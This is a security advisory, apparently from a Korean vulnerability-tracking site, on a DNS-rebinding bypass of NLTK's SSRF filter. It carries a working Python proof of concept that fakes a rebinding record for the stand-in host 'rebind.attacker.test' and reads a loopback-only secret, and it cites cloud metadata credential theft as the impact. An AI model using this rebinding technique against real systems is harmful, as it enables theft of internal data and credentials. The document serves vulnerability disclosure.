Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N상세 설명
Summary
nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.
Details
urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
validate_network_url()calls_resolve_hostname(parsed.hostname)and checks each returned IP against loopback/link-local/multicast/private, blocking underENFORCE. (Resolution #1.)urlopen()then callsbuild_opener(...).open(url)with the original URL (raw hostname), sourllibresolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
PoC
1import socket 2import threading 3import warnings 4from collections import defaultdict 5from http.server import BaseHTTPRequestHandler, HTTPServer 6 7warnings.filterwarnings("ignore") 8 9import nltk10import nltk.pathsec as ps11 12ps.ENFORCE = True # the documented strict SSRF sandbox13 14ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS15PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup16SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"17 18 19# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---20class _Handler(BaseHTTPRequestHandler):21 def do_GET(self):22 self.send_response(200)23 self.send_header("Content-Type", "text/plain")24 self.send_header("Content-Length", str(len(SECRET)))25 self.end_headers()26 self.wfile.write(SECRET)27 28 def log_message(self, *a):29 pass30 31 32def start_internal_server():33 srv = HTTPServer(("127.0.0.1", 0), _Handler)34 threading.Thread(target=srv.serve_forever, daemon=True).start()35 return srv.server_address[1] # ephemeral port36 37 38# --- Model the TTL-0 rebinding record at the resolver layer ---39_real_getaddrinfo = socket.getaddrinfo40_lookups = defaultdict(int)41 42 43def _rebinding_getaddrinfo(host, port, *args, **kwargs):44 if host == ATTACKER_HOST:45 n = _lookups[host]46 _lookups[host] += 147 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)48 p = port if isinstance(port, int) else 049 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"50 print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")51 return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]52 return _real_getaddrinfo(host, port, *args, **kwargs)53 54 55def fetch(url):56 with ps.urlopen(url, timeout=5) as r:57 return r.read()58 59 60def main():61 print("=" * 62)62 print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")63 print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")64 print("=" * 62)65 66 port = start_internal_server()67 print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")68 69 socket.getaddrinfo = _rebinding_getaddrinfo70 ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process71 try:72 # ---- Control: a DIRECT loopback URL must be blocked by the filter ----73 print("[1] CONTROL: direct loopback URL (filter must block this)")74 direct = f"http://127.0.0.1:{port}/"75 try:76 fetch(direct)77 print(f" [?] unexpected: {direct} was NOT blocked\n")78 control_ok = False79 except PermissionError as e:80 print(f" [OK] blocked -> PermissionError: {e}\n")81 control_ok = True82 83 # ---- Attack: rebinding hostname bypasses the same filter ----84 print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")85 evil = f"http://{ATTACKER_HOST}:{port}/"86 print(f" fetching {evil}")87 try:88 body = fetch(evil)89 leaked = SECRET in body90 print(f" body returned to caller: {body!r}")91 if leaked:92 print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")93 print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")94 print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")95 verdict = "VULNERABLE"96 else:97 print("\n [?] fetch succeeded but secret marker not present")98 verdict = "INCONCLUSIVE"99 except PermissionError as e:100 # Patched build: validate against the connect-time IP (or pin/resolve-once).101 print(f"\n [SAFE] blocked -> PermissionError: {e}")102 verdict = "NOT VULNERABLE"103 finally:104 socket.getaddrinfo = _real_getaddrinfo105 106 print("\n" + "=" * 62)107 print(f" Control (direct loopback blocked): {control_ok}")108 print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")109 print("=" * 62)110 111 112if __name__ == "__main__":113 main()Impact
- Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g.
nltk.data.loadwithformat="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the
nltk.pathsecSSRF filter, including theENFORCEmode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and thelru_cacheannotation claiming to mitigate rebinding makes the false assurance worse.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.